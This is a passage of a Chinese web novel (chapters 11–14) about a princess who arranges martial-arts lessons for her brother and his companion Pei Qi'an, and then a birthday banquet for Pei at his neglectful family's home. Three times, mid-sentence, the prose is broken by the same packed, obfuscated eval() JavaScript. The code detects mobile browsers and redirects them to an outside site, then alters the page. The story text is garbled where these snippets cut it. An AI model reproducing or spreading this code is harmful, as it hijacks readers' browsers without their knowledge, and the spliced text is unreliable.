“习武?”赵锦辰瞪大眼睛从书案后站起,看看阿姐,又看看裴祈安,知道大约没有回旋的余地后,难过地坐回去,整个人瘫在书案上,像是失去了所有力气,“原本散学后就剩下那么点儿功夫了,现在再加个武课,我哪儿还有时间玩啊。” “殿下指的‘玩’是什么?”裴祈安不紧不慢地接下去,“是指去御花园掏鸟窝,还是去景明池捞鱼呢?” 赵锦辰噎住。 “那……那也是我劳逸结合好吧。”赵锦辰红着脸辩解,“谁跟你似的,散学后也不知道玩会儿,太老成了!” 看着这闹哄哄的一幕,赵锦瑜唇角忍不住弯了起来。 是什么时候开始变的呢? 好似就是裴祈安代赵锦辰受太傅的罚后,两人之间的关系越来越好了。 赵锦瑜能瞧出,她那阿弟如今已是非常习惯裴祈安在身旁了,甚至于对他还有那么些许的依赖。在裴祈安患病告假的当日傍晚,赵锦辰一结束课业便去看他了。 而裴祈安,也少了最初那股子疏离,对赵锦辰亲近了许多,说话时偶尔还会带上一两句调侃,就像现在这样。 赵锦瑜清了清嗓子,敛起笑意,“锦辰,你知道阿姐为什么要请人来教你们么?” 赵锦辰撇着嘴,“不知道。” “是为了让你们拥有足够的实力,好不被人欺负。” 赵锦辰一愣,却还是嘴硬,“我是皇子,谁还能欺负了我?” 赵锦瑜看着他,目光平静,“你是皇子没错,也正因如此,将来这天下,说不定要靠你撑着。文能安邦,武能定国,这哪一样少了,都容易吃亏。” 说罢,她将视线挪向裴祈安,“祈安也一起学,你俩有个伴,相互督促着,不好么?” 沉默了片刻,赵锦辰又开口,只是这次声音小了许多,“那……能不能少半个时辰啊?” 赵锦瑜被他这副讨价还价的模样逗笑,“暂时不行,你们先去试试,万一很喜欢呢?如今刚开春,等到了夏天,阿姐要检验一下你们的学习成果,然后再考虑调整时间的问题。” 赵锦辰撇了撇嘴,“那好吧。” “祈安。”赵锦瑜又转向他,轻声问道:“准备好了吗?沈溯可是很严格的,但他也确实是有真本事的人,好好跟着他学,可不能偷懒呀。” 裴祈安抬眸,对上她的目光,郑重点了下脑袋,“准备好了的,阿姐放心,祈安不会偷懒的。” - 时间过得很快,窗外的日光渐渐有了热度,是初夏特有的,懒洋洋的温度。 裴祈安和赵锦辰的武课,不知不觉已满三月。 据沈溯说,裴祈安真是个练武的好苗子,不论什么招式都是一点就通,人也极有毅力,不怕吃苦。而赵锦辰也从最开始练得连腿都抬不起来,到如今已经能稳稳地扎完半个时辰的马步了。 演练场上,两人站在中间,一套拳打下来,额角都沁出了一层薄汗。 “很不错。”赵锦瑜笑着看向他们,满意地点点头,“难怪听沈大人夸了你们,现在看着,确实像那么回事了。” 赵锦辰下巴一扬,得意之色压都压不住,“那当然啦阿姐!我们这三个月可不是白练的。” 赵锦瑜微微颔首,又问:“那如今,还想减少半个时辰吗?” 回应她的先是嘿嘿一笑,赵锦辰摸了摸后脑勺,“如果能减每日在上书房的时间,那倒是可以。” 赵锦瑜浅浅笑着,“就别白日做梦了。” 笑着笑着,目光又落在裴祈安身上,忽然就顿住了。 她眨眨眼,又仔细看了看,脸上浮现出一丝惊讶。 “祈安。”她走过去,在他面前站定,上下打量了一番,“你是不是……又长高了?” 自从入宫成为伴读后,赵锦瑜有感觉到他长高了,却没有细细比较过。没想到他如今,已经比赵锦辰还要高一些了。 “阿姐你也发现了?!”赵锦辰声音都拔高了,他冲到裴祈安身边,用手先在自己头顶比了比,又比了比裴祈安的头顶,脸顿时垮了下来,“三个月前他还要比我矮一些呢!这习武也没多久,居然都已经比我高了!” 裴祈安低头看了看他,没说话,但那微微上扬的唇角,分明带着一丝若有似无的笑意。 他在嘚瑟! 感受到这一点后,赵锦辰更气了。 “我就是看他长高了,所以每天都吃好多饭!反正要比他多不少,结果他长高,我长胖,凭什么呀?!” 赵锦瑜看着他这副模样,实在忍不住笑出了声。她伸手捏了捏赵锦辰的脸,的确要比之前圆润了些。 “长胖一点儿也挺好,你原先太瘦了。”她安慰着,“稍微长些肉,看着有福气。” 赵锦辰完全不买账,福开她的手,仍旧气鼓鼓的,“我才不要这个福气呢,我要长高!” 裴祈安在一旁轻声开口:“殿下,福气和身高,总要占一样,咱们一人一样挺公平的。” 赵锦辰瞪他,“你闭嘴!” 裴祈安从善如流地闭上了嘴,但唇角的弧度却没完全收起来。 看着这一幕,赵锦瑜心里忽然生出一丝恍惚。 她好像完全想不起来原书中的裴祈安是个什么样 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17202002|197226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的人了,她只知道如今的裴祈安,很好。话虽然仍旧不多,但在面对她与锦辰时,发自内心的笑容却变多了。 看来这棵歪脖子树,还真是被自己扭正了。 这才对嘛,这才是一个小小少年该有的样子。 赵锦瑜收回思绪,就是那么一瞬,忽然想起一件事。 “对了祈安。”她开口:“你的生辰,是不是快到了?” 裴祈安睫毛轻轻颤了一下,“……是,还有几日。” 刚才还在因为身高怄气的赵锦辰,闻言立刻竖起耳朵,忙问:“生辰?裴祈安你要过生辰了?什么时候啊?” 裴祈安沉默了一下,低声道:“七日后。” “七日……”赵锦辰眨了眨眼,默默在心里盘算着,“那你打算怎么过?想要什么礼物吗?告诉我,我让人给你备着!” 怎么过?想要什么礼物? 裴祈安被问得微微怔住了。 他张了张嘴,发现自己完全答不上来,他也从来没有想过这些个问题。 从前在裴府的时候,没有人记得他的生辰,府中那些所谓的亲人,看他的眼神永远是疏离、冷漠的,偶尔还会带着一丝十分明显的嫌弃。 他唯一记得的一次,是六岁那年,负责照顾他的嬷嬷心善,在生辰那日偷偷给自己煮了一碗面。可还没等他吃上一口,就被裴昭钰撞见了,最后碗也被他拍落在地,连照顾他的嬷嬷,也在几日后被发卖出府了。 那之后,他再也没有过过生辰。 “我……”他艰难开口,声音有些涩,“我没过过生辰。” 话音落下,周遭安静了一瞬。 赵锦辰愣住了,脸上那点兴奋的表情僵在了那里。 赵锦瑜的心也被狠狠揪了一下,她看着面前的人,看着他低垂的眼睫,心里头忽然酸得不行。 马上十岁了,却没过过一次生辰。 她想起原书中,那些关于裴府对待他的只言片语的描述,一股说不清的怒意,从心底涌了上来。 而在这股怒意涌过之后,另一个念头忽然又浮了上来。 将裴祈安带离裴府,的确是帮了他。但这,远远不够。 他是裴家的人,留着裴家的血,那他凭什么该享受到的,什么都享受不到? 有些东西,本就该是他的,却被那些人,一样一样剥夺了。 赵锦瑜深吸一口气,将那点翻涌的情绪咽了下去。稍作调节后,她冲裴祈安弯了弯唇角,语气轻松道:“没过过没关系,今年可以过,阿姐一定让你过上一个满意的生辰。” 裴祈安抬眼望她,那双平静的眼眸中,有什么东西在轻轻晃动。 赵锦辰也回过神来,立刻拍着胸脯保证:“对!我也给你过,你想要什么?我都给你弄来!”保证完,立刻又问:“那你到底想怎么过呀?” “……不知道。”裴祈安还是摇头。 不知道。 赵锦瑜脑中忽然闪过一个念头,一个……可能会让某些人很不舒服的念头。 “既然祈安不知道,那就阿姐来替你想。” 赵锦辰眼睛一亮,“阿姐是有主意了吗?在哪儿办呀?” 裴祈安也看着她,好似很期待这个答案。 赵锦瑜轻笑一声,慢条斯理地吐出几个字。 “回裴府办。” 12. 第 12 章 这句话后,周遭的气氛再次陷入寂静。 赵锦辰张大了嘴,一时没反应过来。 裴祈安也僵住了,甚至怀疑是不是自己听错了。他望着赵锦瑜,眼神从原本的惊愕、不解,到现在化为了一丝隐隐的、连他自己都不敢相信的期待。 “阿姐……”他缓缓张开口,却又不知道说什么。 “只要你同意。”赵锦瑜看向他,声音不高,但字字清晰,“只要你愿意,阿姐就去安排。回裴家办你的生辰宴,将裴家族人一个不落,都请来。” 她顿了顿,弯起唇角,“让他们看看,我们祈安,如今有多优秀。” 裴祈安仍旧是方才望着她的姿势,眼眶忽然有些发酸。 他低下头,用力眨了眨眼睛,将那点不该有的东西压下去。 “嗯……”他低低应了一声,声音轻得几乎听不见。 一旁的赵锦辰也终于反应过来了,双手一拍,激动道:“我觉得很好!阿姐的主意简直太好了,到时我也要去,看谁敢不给面子!” 决定了的事,赵锦瑜向来不拖。 从演练场回来,她直接就往勤政殿去了。 这三个月来,她已经是这的常客了。文靖帝便私下给了特权——大公主随时可进,不必通传。守在殿外的内侍见是她来了,直接躬身引她入内。 文靖帝正在批奏折,听见脚步声抬头,见是女儿,眉间染上一层淡淡的笑意,“阿瑜来啦,怎么样?锦辰和祈安两人练得如何呀?” 赵锦瑜走到御案前坐下,“儿臣觉得不错,两人都很用功,沈大人对他们也都是夸奖有佳。” “那就好。”文靖帝满意地点点头,“父皇我对武一窍不通,原以为锦辰也不是习武的料子,没想到还挺出乎意料的。”顿了顿后,他又道:“如今看来,阿瑜当时的提议确实好,祈安那孩子与锦辰的确合拍,我也听人说了,如今这二人啊,可谓是形影不离。” 赵锦瑜弯了弯唇角,“祈安上进好学,正好能激励锦辰,两人的确很适合在一块儿学习。”话落,她紧接着又道:“父皇,儿臣这会儿来,其实还有一事想找父皇帮忙。” “哦?”文靖帝将手中奏折放下,目光温和地望着她,问道:“什么事啊?说吧。” “七日后便是祈安的生辰了。”赵锦瑜语气平常道:“儿臣想给他办一场生辰宴。” 文靖帝挑了挑眉,倒没觉得有什么不妥,“没问题,父皇知道你和锦辰都挺喜欢这孩子的,想办就办吧,你们想在哪儿办啊?” 赵锦瑜唇角一勾,“裴家。” 文靖帝端茶的手一顿,抬眼看向女儿,那目光里带着几分审视,又带着几分好笑,“阿瑜,你这是打的什么主意啊?” 赵锦瑜眨了眨眼,一脸无辜道:“儿臣能打什么主意,不过是想给祈安过个生辰罢了。” “那为什么非得选裴家呢?在宫里过不成吗?”文靖帝朝椅背上一靠,“你是想给裴家提提醒?” 文靖帝看得也通透,赵锦瑜索性不装了,身子往前倾了倾,声音放软了几分,“儿臣听闻,祈安那孩子长这么大从未过过一次生辰,如今既然要办生辰宴了,他又是裴家的人,那自然要回裴家去办啊。从前裴家不重视他也就罢了,如今他可是父皇您钦点的皇子伴读啊,该给的脸面,裴家不应该少他的。” 文靖帝沉默了一瞬,细细琢磨着女儿的话。 “阿瑜的意思父皇明白。”又是一阵短暂的沉吟后,他叹了口气,“可真是拿你没办法啊。” 赵锦瑜高兴起来,“父皇这是答应了?” “答应了。”看她高兴,文靖帝也笑了,“这事等明日早朝后,父皇会留裴爱卿说。虽说只是撑个体面,但经此一事,若能让裴家对那孩子好些,倒也是桩好事。” 赵锦瑜眼睛一亮,起身行了一礼,“多谢父皇!” 文靖帝摆摆手,示意她不必多礼,只是目光里多了一丝复杂的温和,“那孩子……遇到你,真是他的福气。” 赵锦瑜怔了下,随即弯起唇角,轻轻一笑,“父皇错了,也许……是我们的福气呢?” 她说:“父皇新上任,朝臣们盯得紧,我们只有兄弟姊妹四个,若有能力强又靠得住的人在身旁,总归是好事。” 这回换文靖帝愣了,随即又失笑,“父皇明白了,我的女儿简直要比男子更出色,想得更长远。” “阿瑜去吧。”他挥挥手,“这事儿父皇明日就去办,至于这场生辰宴……你想怎么办便怎么办吧。” - 次日早朝散后,百官鱼贯而退,裴宗烨夹在人群中,正打算离开,却被一个小内侍揽住了去路。 “裴大人,陛下请您留步。” 裴宗烨心头一跳,文靖帝以往都没有私下留人谈话的习惯,今日这一拦,莫非是裴祈安在宫里惹了祸?裴祈安初进宫那几日,他也是担忧的,生怕他一个不留心冲撞了天家,使得整个裴家跟着遭祸。结果一连好几日,都相安无事,便就也没再记挂着了。 如今…… 他面上不敢显露,只低声应了,跟着内侍往偏殿走去。 偏殿内,文靖帝手中已经捧着一盏茶了。 见裴宗烨进来,他抬手指了指旁边,“裴爱卿坐吧。” 裴宗烨行礼谢恩,小心翼翼地坐了半个屁股,背脊挺得笔直。 文靖帝看了他一眼,没着急开口,慢慢喝了口茶,才放下茶盏,语气随意得像在聊家常,“裴爱卿家的那个孩子,入宫好似有一段时间了,祈安,是叫这个名字吧?” “回陛下,正是。”裴宗烨垂首道:“犬子裴祈安,如今入宫给大皇子殿下做伴读,已经三月有余了。” “嗯。”文靖帝点点头,“你家那个孩子,太傅夸过好多回了,说是稳当、懂事、还聪慧,连朕都有所耳闻,锦辰那边,与他也很处得来。” 裴宗烨听着,心里愈加混乱,实在想不通文靖帝究竟想说什么。 “陛下谬赞了。”他只得继续道:“那孩子能得到殿下的赏识,是他的福气。” 文靖帝摆摆手,似是不想再听恭维的话,转而道:“朕今日留你,是为了一件事。” 裴宗烨心头一紧,知道正题来了。 “朕听大公主说,再过七日,是那孩子的生辰了吧?”文靖帝问道。 裴宗烨愣住了。 生辰? 裴祈安的生辰,他从未记过,还真不知道是哪一日。 他张了张嘴,一时间不知该作何反应了。 文靖帝看着他,目光淡淡的,却像能看穿人心。片刻后,他笑了笑,语气依旧平和,“朕也是听大公主提起才知道的,那孩子不仅与锦辰处得来,也很得阿瑜喜欢。” 裴宗烨背脊微微僵住。 “朕想着……”文靖帝继续道:“既是个如此好的孩子,他的生辰,宫里也该表示表示。朕的阿瑜热心,说要亲自为他操办一场生辰宴,就在你们裴府办。” 裴宗烨抬起头,眼中闪过一丝愕然。 公主亲自操办? “陛下……”他斟酌着开口,“这……这如何使得啊?公主殿下金枝玉叶,身份尊贵,区区犬子的生辰,怎么敢劳烦公主殿下亲自费心呢?臣实在惶恐啊。” “欸。”文靖帝打断他,“这有何不妥?这孩子作为伴读有功,又得阿瑜喜欢,她一片好心,朕也不好拦着。” 裴宗烨垂下眼眸,心里转过无数个念头。 公主亲自操办,听着像是恩典,可若是传了出去,外人只会道裴家误把鱼目当珍珠,让他成为朝臣间的笑柄。 “陛下!”他抬眼观察了一下文靖帝的脸色,“臣以为,裴家孩子生辰,还是由裴府亲自操办吧,臣实在是不敢劳烦公主殿下亲自费心。” 文靖帝听着,脸上神色未变,只是又端起茶盏喝了一口。 偏殿里安静了片刻。 “那爱卿的意思……”他再次将茶盏放下,慢悠悠道:“爱卿想亲自操办?” “是。”裴宗烨连忙道:“臣不敢推辞陛下与公主殿下的厚爱,只是,犬子生辰,毕竟是裴家的事,还是由裴家自己操办更好。公主殿下若能赏光莅临,已是犬子与裴家天大的福分了。臣定当竭尽全力,将犬子的这场生辰宴变得体体面面,绝不辜负陛下与公主殿下的心意。” 他说完,垂下头,等着文靖帝的答复。 文靖帝看了他半晌,忽然轻轻笑了一声。 “裴爱卿既然都这么说了,那朕也不好在强求。”他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17202003|197226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 叹了口气,听着似乎觉得有些可惜,“阿瑜那边,朕会去同她说。” 裴宗烨心头一松,正要起身谢恩,对方又开口了。 “不过……”文靖帝看着他,语气淡淡的,“阿瑜那孩子,是个有主意的,她又惦记着这事,到时候说不准会想去亲自看看,帮着掌掌眼。裴爱卿,应该不会介意吧?” “自然不会。”裴宗烨起身,来到文靖帝正前方,“公主有心,臣求之不得。” “好了。”文靖帝随之也站起身,“那这事便就说定了,爱卿退下吧,朕也还有公务要处理。” 裴宗烨躬身行礼,“臣遵旨。” 离宫后,裴宗烨径直回了府。 裴夫人周静娴瞧他脸上不大好看,还以为是兵部出了什么岔子,正要开口问,就见他摆了摆手,将下人屏退后,拉着她进了内室。 “怎么了?”周静娴皱了皱眉,“出什么事了?” 裴宗烨坐在榻上,沉默了半晌才将今日发生之事说出。 闻言,周静娴的脸色变得比裴宗烨还难看。 “什么?”她的声音都不由地拔高了几分,“公主还想亲自操办?就为了那个小野种?” “夫人!”裴宗烨低声制止她,“祈安毕竟也是我的孩子,‘野种’这二字,我往后不想再听到了。” “呵。”周静娴看着他冷笑一声,声音低了些,可那语气里的怒意却压不下去,“若不是你从前寻花问柳,你如今能听到这两个字吗?” 裴宗烨揉了揉眉心,声音里带着疲惫,“过去这么多年的事了,夫人就不要再提了,如今咱们该想想这生辰宴该如何操办了。” “操办?”又是一声冷笑,周静娴神色愈发难看,咬着牙道:“你就不该应这事。” “如何能推掉?”裴宗烨有些不耐烦了,“陛下亲自发话,我若不揽下,那就是公主亲自筹办。这事若真让公主办了,裴家会怎么遭人嘲笑?” 周静娴别过脸去,没接话。 裴宗烨能有今日,也是得了丈人的关照,故而对他这位夫人一直都很尊敬。 他叹了口气,放缓语气:“夫人,事已至此,咱们只能好好操办这场生辰宴了,不为别的,就算是为了我裴家的脸面,也请夫人忍一忍。” 此话后,周静娴脸色稍微缓和了些,可那股子不情愿还在。 裴宗烨拉着她坐下,继续道:“夫人可有想过,那孩子如今得了赏识,入了公主皇子的眼,往后,说不定咱们家还能靠他。” 周静娴一愣,随即讥讽一笑。 “靠他?老爷你糊涂了吧?一个妓子生的孩子,能有什么出息?我的恒儿和钰儿哪个不比他强!” 裴宗烨摇了摇头,“恒儿和钰儿自然好,也是我的心头肉,可问题是,如今得了赏识的不是他们。” 他看向周静娴,目光里带着几分无奈,“祈安那孩子被选入宫,做了大皇子伴读,又得了大公主青睐。届时公主皇子都要来给他过生辰,这份体面,除了他,咱家别的孩子有吗?” 周静娴张了张嘴,说不出话来,好半晌才道:“不过是运气好罢了。” “运气好,那也是他的本事。”裴宗烨握过她的手,“为夫知你心里不痛快,可这事,咱们必须接着,还得接得漂亮,得让天家看到,咱们裴家,是重视那孩子的。”他顿了顿,又补一句,“往后,对他好一些吧。不是为了他,是为了整个裴家。裴家好,恒儿和钰儿今后的路才会更好走。” 周静娴胸口剧烈起伏了几下,最终,也只是将那口气泄出来。 她垂下眼,深呼吸一口,“好,让我给他操持生辰宴可以。但我丑话说在前头,别指望我对他多好,我做不到。” 能得到她这样的态度,已经是裴宗烨预想中比较好的结果了,“好,夫人尽力就好。” 周静娴哼了一声,正要起身,就听裴宗烨又开口了。 “还有一件事,夫人,给他换个住处吧。”他缓缓道:“偏院那间屋子,实在是差了些,让下人收拾个敞亮的院子出来吧。到时皇子和公主来了,若是想瞧瞧他住的地方,总归要好看些。” 周静娴内心一百个不愿意,可她也知道裴宗烨的做法没问题,最终也只得将所有的不愿统统咽下去。 13. 第 13 章 裴祈安生辰前一日,他与赵锦辰依旧如往日般,齐聚在景阳宫书房内。 功课完成后,裴祈安正收拾着书案,余光瞥见门口进来一个人,是赵锦瑜身边的清梧。 他手上的动作顿了顿。 赵锦辰也看见了,放下笔就问:“清梧,我阿姐呢?她怎么没来?” 清梧笑着福了福身,解释道:“回殿下,公主那边有些事情要处理,今日便不过来了。公主让奴婢过来,是特意吩咐奴婢来传个话。” “哦。”赵锦辰有些失望地点点头,“那好吧。” 清梧又走到裴祈安面前,闻声道:“裴小公子,公主说,明日是您的好日子,今日就早些回裴府住吧,养足精神,明日才好过生辰。” 回府? 裴祈安微微一怔,他已经很久没有想起过裴府了,自打他入宫做伴读,那个所谓的“家”,对他而言,早已像个陌生的地方了。 见他表情不是太开心,清梧只以为他是在害怕回去,接着又道:“公子放心,公主交代了,让奴婢亲自送您回去。”她顿了顿,继续说:“福喜和顺安也一同跟着回去,明日依旧在那儿伺候着,等结束后同公子一起回宫。” 闻言,裴祈安垂下眼帘,他明白了这是赵锦瑜在给自己增加底气。 如此面面俱到…… 如此为他考虑…… “嗯,多谢清梧姐姐。”他低声应着。 一旁的赵锦辰比他这个当事人还要兴奋,激动道:“裴祈安你回去等着我!我明日一定早早就去!贺礼我都准备好了呢!” 裴祈安看了他一眼,唇角弯了一弯,“好,我等着殿下。” 另一头,玉芙宫的小厨房内,烟雾缭绕。 赵锦瑜站在案板前,面前摆着七八个碗,里头盛着面粉、鸡蛋、蜂蜜,还有刚用完又派人送来的牛乳。一旁的小炭炉上,还有一个冒着热气的铁制模子。 她伸手解开模子,看了一眼,眉头就不由地皱了起来。 又没成功…… 这都第几回了? “公主。”身后传来灵姝的声音,“时辰不早了,公主要不然休息吧?” 赵锦瑜头也不回,“不急。” 灵姝张了张嘴,想说什么,又咽了回去。 从今日一早开始,公主便往小厨房跑,起初她还以为是公主想吃什么新奇的点心,后来才从公主口中得知,她正在做一种自己从未见过的东西,想要明日带去裴小公子的生辰宴。 那东西叫什么来着…… 蛋、蛋糕,对,就是叫蛋糕。 这东西在灵姝看来奇怪得很,要用鸡蛋和面粉打发得蓬蓬松松的,然后在放进模子里烤。 总之,就是难做得很。她记得,第一回烤出来,硬的像石头似的;第二回倒是软了,可中间都黏黏糊糊陷了下去;第三回,好不容易瞧着像样了,一尝却是寡淡无味。 “公主。”灵姝又尝试着开口劝说,“其实奴婢让御厨做一些精致的点心,也是一样的……” “不。”赵锦瑜双手叉腰,一副做不成功不罢休的姿态,“这当然不一样了。” 别人做的,和她亲手做的,能一样吗? 真就奇了怪了,她在现代的时候就对烘焙感兴趣,没事的时候,烤个小蛋糕,做点曲奇饼干都是常有的。虽说从来没有做过生日蛋糕,但教程也是看过的啊。 可到了这,想要什么没什么,没有泡打粉,没有低筋面粉,没有烤箱…… 全靠一个炭炉和铁模子,全凭她的感觉来估摸火候。 不行! 她要再试一回!一定要成功! “再来一次!”说着,便又往碗里磕了两个鸡蛋下去。 灵姝见状,不再言语,只好在一旁候着。 看着公主拿竹筷打鸡蛋,灵姝其实也有些手痒,觉得还挺好玩,奈何公主不让别人帮忙,就只能在一旁看看了。 小厨房外,候在门外的两个小宫女正凑在一起咬耳朵。 “这是今日第几回了?” “像是第五回开始了吧……” “你说公主到底在做什么呀?闻着怪香的,可端出来的模样……” “谁知道呢。”说话的人压低声音,“不过咱们宫里的人,今日也算是……‘享福’了,能吃到公主亲手做的东西。” 公主做的那些“失败品”,总不能扔了,除了第一个实在是咬不动,其余的都赏了底下的宫人。第二回那个虽然有些黏糊糊,但味道还可以;第三回那个虽然没味,但蘸着蜂蜜吃也别有一番风味。 如今里头那第四个,想必灵姝姐姐很快也会拿出来了。 想到这,两人不约而同打了一个冷颤。 不是嫌弃,而是真的吃不动了。 公主的心意,她们不敢浪费,便都一人一小块分了。这一日,玉芙宫上下,午膳是蛋糕,晚膳是蛋糕,一会儿也许还得加个餐,继续吃蛋糕。 这再好吃的东西,也禁不住这么吃呀…… - 马车在裴府门前停下时,天色已经完全黑了。 裴祈安下马车时,瞧见门房的人迅速小跑进去。 他抬眼望向那扇熟悉的大门,眼神里看不出丝毫情绪。 清梧走到他身侧,轻声道:“公子,奴婢陪您进去。” 裴祈安点点头。 福喜与顺安跟在后头,四人刚走到门前,那扇大门便从里头打开了。 一行人鱼贯而出,为首的是他那位给了他生命,却从未真正将他当作自己儿子的父亲,裴宗烨。旁边那位,他名义上的母亲,今日更是颠覆了他的认知。虽然看得出极其僵硬,但她的确努力在维持笑脸。 这两人身后,便是府中另外两位姨娘,以及那些从前并不待见他的兄弟姐妹们。 “祈安回来啦。”裴宗烨迎上来,语气是面对他时从未有过的热络,“这几位是……” 他的目光落在身后三人身上。 清梧上前一步,微微福身,礼数周全但不卑不亢,“见过裴大人,奴婢清梧是大公主身边的掌事宫女。今日是奉公主之命,送裴小公子回府的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17215436|197226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 裴宗烨连忙拱手,“原来是大公主身边的女官啊,有劳女官跑着一趟了。快,请进去喝杯茶吧。” “裴大人客气了。”清梧笑了笑,却没有挪步,“奴婢只是奉命行事,茶就不必了。”说罢,她又指了指身后两人,“这二位是公主赐给裴小公子的内侍,如今伺候着公子,公子也习惯他们二人在身边了,公主便让二人一同回府了。” 听到她的后半句话,在场之人脸上神色均是一僵。尤其是那位强撑着笑脸的周静娴,内心百感交集。 她怎么都想不明白,一个妓子生的孩子,究竟是如何能得到公主青睐,更是让公主赏了专门伺候他的人。 裴宗烨回过神来,随即抬手朝裴祈安发顶摸去,笑道;“真没想到,我们祈安会如此受公主殿下喜爱啊。” 裴祈安并未料到他会有这样一番举动,便没来得及躲开。反应过来后,才偏头脱离了他的手掌。 裴宗烨右手一僵,随即干笑两声,将手伸回。 见状,清梧温声道:“是啊,裴小公子是个难得的,心性好,又懂事,公主很喜爱他,公主还常说,像裴小公子这样的,合该被人好好待着。裴大人,您说是不是啊?” 话说得不多,可那话里的分量,裴宗烨听得明明白白。 他仍旧笑着,“公主说的是,也请女官转告公主,让公主安心即可,裴家自然会好好待祈安的,明日的生辰宴,也一定会好好操持。” 清梧满意地点点头,又转向裴祈安,福了福身,“那奴婢便告退了,公子今日好生歇息。” 裴祈安望着她,轻轻点头,“清梧姐姐慢走。” 随着马车消失在街角,裴宗烨这才转向裴祈安,脸上的笑容如方才一样,“祈安,可有用晚膳?” 裴祈安抬眼看了看他,又看了看他身后神色各异的几人,轻声答:“用过了,父亲。” “那就回屋沐浴更衣吧。”裴宗烨继续道:你母亲为你安排了新的住处,一会儿就找人带你去。” “是啊。”周静娴终于开口,脸上堆着笑,眼底却没什么温度,“你先前的住处在你入宫后便找人修缮了,如今还未全好,便先住在别处吧。” “多谢母亲。”裴祈安淡淡地回了一声,声音里听不出一丝起伏。 “装模作样。”一道阴阳怪气的声音从边上传出,裴昭钰冷嗤一声,“得了公主赏识,如今还摆起架子来了,当日落水的若不是你,如今的皇子伴读还不一定是谁呢。” “钰儿!”周静娴脸色微微一沉。 裴宗烨表情也有些严肃,公主身边的女官是离开了,可还有两位内侍在这呢。他朝那两人看了看,随即沉下声音,“怎么跟你三哥说话的,赶紧回屋去!” 裴昭钰撇撇嘴,不说话了,愤愤地瞪了裴祈安一眼后,便朝里跑去了。 裴宗烨轻咳一声,打破了这尴尬的沉默,“祈安,先进去吧,别在这站着了。” 裴祈安点点头,跟着引路的下人往里走。只是目光,有意无意地朝裴昭钰离开的方向冷冷地瞥了两眼。 14. 第 14 章 在回新院子之前,裴祈安被裴宗烨唤去了书房。 顺安和福喜识趣地退到门外,轻轻带上了门。 屋内一时安静。 裴宗烨轻咳一声,脸上带着和善的笑,“明日就是你生辰了,府里都准备好了,你……不用担心。” 裴祈安垂着眼,微微颔首,“劳父亲费心了。” “欸,你我父子间,不必说这。”裴宗烨摆摆手,顿了顿后,又问:“明日,大公主和大皇子是否都会来?” 裴祈安抬眼,目光平静地看着他,“也许吧,想必都会来。” “如此……甚好。”裴宗烨缓缓点了点头,转而又不咸不淡地笑了一声,“我儿真是好福气啊,能得公主皇子的喜爱。” 裴祈安没接话。 “往后……”裴宗烨干巴巴地接下去,“往后要继续好好表现,如今新帝上任,朝堂还不那么稳定,祈安若是做得好,我们整个裴家也跟着沾光。” “……嗯。”裴祈安淡淡应了声,目光微微一转,就见另一侧的窗纸上,映着一颗头的影子。 他收回视线,面上没有任何变化。 “父亲。”他开口:“儿子有些困了,明日还要早起,若没什么事,我就先走了,您也早些休息。” 裴宗烨愣了一下,随即点点头,“也好,你早些睡,养足精神。” 说罢,他拍了拍裴祈安的肩,那动作生疏得很,拍完似是连自己都有些尴尬。 裴祈安转身离去。 主仆三人回院子路上,他忽然停下脚步,抬手往腰间摸了摸。 顺安察觉到他的异样,忙问:“公子,怎么了?” 裴祈安低头看了看腰间,皱起眉道:“香囊不见了。” “可是掉在什么地方了?”福喜忙道:“好在走出还不远,奴才们陪您去找找。” “……嗯。” 三人沿着来路往回找,走过一处拐角时,裴祈安忽然停住了脚步。 前往不远处,一个小小的身影刚从下蹲的姿势站起来。 “四弟。”他开口。 听到声音,裴昭钰猛地回头,看见是他,脸色变了变,随即硬邦邦挤出一句,“干什么?” 裴祈安看着他,问道:“你可曾见到一个香囊?” 裴昭钰眼神微微一闪,随即别过脸去,“什么香囊?我可没见过。” 裴祈安没有立刻说话,目光在他脸上停留了一瞬,才接着道:“那香囊对我很重要,若四弟见了,烦请告知。” 裴昭钰被他看得有些不自在,不耐烦道:“知道了知道了,不就一破香囊嘛,还当宝贝了。” 说完,他绕过裴祈安三人,头也不回地离开了。 香囊,终究还是没找到。 这一夜,裴祈安睡得不沉。 新换的院子比原先的偏院好太多了,床榻也软和,可他还是中途醒了好几回。每次一睁眼,望着陌生的帐顶,都要愣上一会儿才反应过来——这是在裴府。 直到天快蒙蒙亮,他才沉沉睡去。 等再睁眼时,已经头脑迷糊的不知道时辰了。他晃了晃脑袋,起身穿衣裳,不一会儿,外头便传来轻轻的叩门声。 “公子是醒了么?”屋外是顺安的声音,压得很低,生怕惊着他似的。 裴祈安没有回话,干脆上前开门。 